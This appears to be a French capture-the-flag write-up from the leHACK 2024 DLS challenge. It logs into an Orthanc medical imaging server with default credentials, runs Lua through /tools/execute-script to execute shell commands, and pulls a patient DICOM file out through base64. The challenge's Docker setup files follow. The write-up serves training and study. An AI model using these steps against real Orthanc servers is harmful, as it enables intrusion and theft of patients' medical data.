☠️leHACK 2024 - Challenge DLS
Initié en 2003 par un groupe de personnes réunies sous le nom de Hackerz Voice et inspiré par le célèbre événement de hacking américain nommé DEFCON, leHACK fête ses 20 ans en 2024.
Mis à jour
curl -ilkvs https://medic.hopto.org
* Server certificate:
* subject: CN=medic.hopto.org
* start date: Jul 1 19:03:13 2024 GMT
* expire date: Sep 29 19:03:12 2024 GMT
* issuer: C=US; O=Let's Encrypt; CN=R11
* SSL certificate verify ok.
> GET / HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Server: nginx/1.18.0
Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 06:48:40 GMT
Date: Sun, 07 Jul 2024 06:48:40 GMT
< Content-Type: text/html
Content-Type: text/html
< Content-Length: 15
Content-Length: 15
< Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
< Connection: keep-alive
Connection: keep-alive
< ETag: "66895204-f"
ETag: "66895204-f"
< Accept-Ranges: bytes
Accept-Ranges: bytes
<
<p>Orthanc</p>
parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', default='orthanc:orthanc', help='The basic authentication credentials')
parser.add_argument('--config-path', default='/etc/orthanc/orthanc.json', help='The path to the configuration file')
args = parser.parse_args()medic.hopto.org,443$ python check_exploit.py hosts.txt
Loaded 1 hosts.
Number of vulnerable hosts: 0 curl -ks https://medic.hopto.org/instances
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>curl -kvs https://medic.hopto.org/tools/reset
.
> GET /tools/reset HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:10:20 GMT
< Content-Type: text/html
< Content-Length: 15
< Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
< Connection: keep-alive
< ETag: "66895204-f"
< Accept-Ranges: bytes
<
<p>Orthanc</p>
curl -kvs https://medic.hopto.org/tools/execute-script
> GET /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:11:00 GMT
< Content-Length: 0
< Connection: keep-alive
< WWW-Authenticate: Basic realm="Orthanc Secure Area"
curl -kvs https://medic.hopto.org/tools/execute-script -u orthanc:orthanc
> GET /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> Authorization: Basic b3J0aGFuYzpvcnRoYW5j # identifiants par défaut orthanc
> User-Agent: curl/7.65.0
> Accept: */*
< HTTP/1.1 405 Method Not Allowed
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:11:46 GMT
< Content-Length: 0
< Connection: keep-alive
< Allow: POST
curl -kvsX POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc
> POST /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> Authorization: Basic b3J0aGFuYzpvcnRoYW5j
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:13:46 GMT
< Content-Type: text/plain
< Content-Length: 0
< Connection: keep-alive
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print("onosh")'curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("id"):read("*a"))'
uid=101(orthanc) gid=102(orthanc) groups=102(orthanc)curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("find / -user orthanc"):read("*a"))' |grep -v '/proc/'
/var/log/orthanc
/var/lib/orthanc
/var/lib/orthanc/db-v6
/var/lib/orthanc/db-v6/8f
/var/lib/orthanc/db-v6/8f/33
/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281
/var/lib/orthanc/db-v6/index-wal
/var/lib/orthanc/db-v6/index
/var/lib/orthanc/.bash_historycurl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("file /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281"):read("*a"))'
/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281: DICOM medical imaging datacurl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("cat /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281 |base64"):read("*a"))' |tr -d '\n' |base64 -d >radio.dcm && file radio.dcm
radio.dcm: DICOM medical imaging data
strings radio.dcm |head -n50
DICM
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.29
1.2.840.10008.1.2.4.50
999.999
DERIVED\PRIMARY\SINGLE PLANE\SINGLE A
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.29
20230404
141917
SIB
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.28
CARDIO-SMS 1.0
------------
------B
--------
--------
------
--------
------
-----------
1.3.12.2.1107.5.4.3.123456789012345.00000000.000000.6
1.3.12.2.1107.5.4.3.123456789012345.00000000.000000.8
00000000
000000
00000000
000000
Hicor Cine
00-00-00
00:00:00
Scene: 14
\PDB\IDM
AMES
Yves Remord
556342B
19951025
-32
CARDIO-D.R. 1.0
1.3.12.2.1107.5.4.3.123456789012345.19950922.121803.6
1.3.12.2.1107.5.4.3.123456789012345.19950922.121803.8
CARDIO-D.R. 1.0 !
MONOCHROME2 (
LIN (
NAT (
@`US
NONE(
CARDIO-D.R. 1.0 )
CARDIO-D.R. 1.0 )
SANTESOFT
version: '3'
services:
orthanc:
build: ./orthanc
container_name: my-orthanc-container
ports:
- "127.0.0.1:8042:8042"FROM debian
RUN apt-get update && apt-get install -y --no-install-recommends \
orthanc \
gcc \
netcat-traditional \
curl \
file
COPY orthanc.json /etc/orthanc/orthanc.json
COPY curl-script.sh /tmp/curl-script.sh
RUN chown orthanc:orthanc /tmp/curl-script.sh
RUN chmod 700 /tmp/curl-script.sh
COPY patient1.dcm /tmp/patient1.dcm
RUN chown orthanc:orthanc /tmp/patient1.dcm
USER orthanc
CMD ["sh", "-c", "Orthanc /etc/orthanc/orthanc.json & /tmp/curl-script.sh"]#!/bin/sh
# Wait for Orthanc to be ready
while ! nc -z localhost 8042; do
sleep 1
done
# Run the curl command
curl -H 'Authorization: Basic b3J0aGFuYzpvcnRoYW5j' -vX POST http://localhost:8042/instances --data-binary @/tmp/patient1.dcm && rm /tmp/patient1.dcm && rm /tmp/curl-script.sh && tail -f /dev/null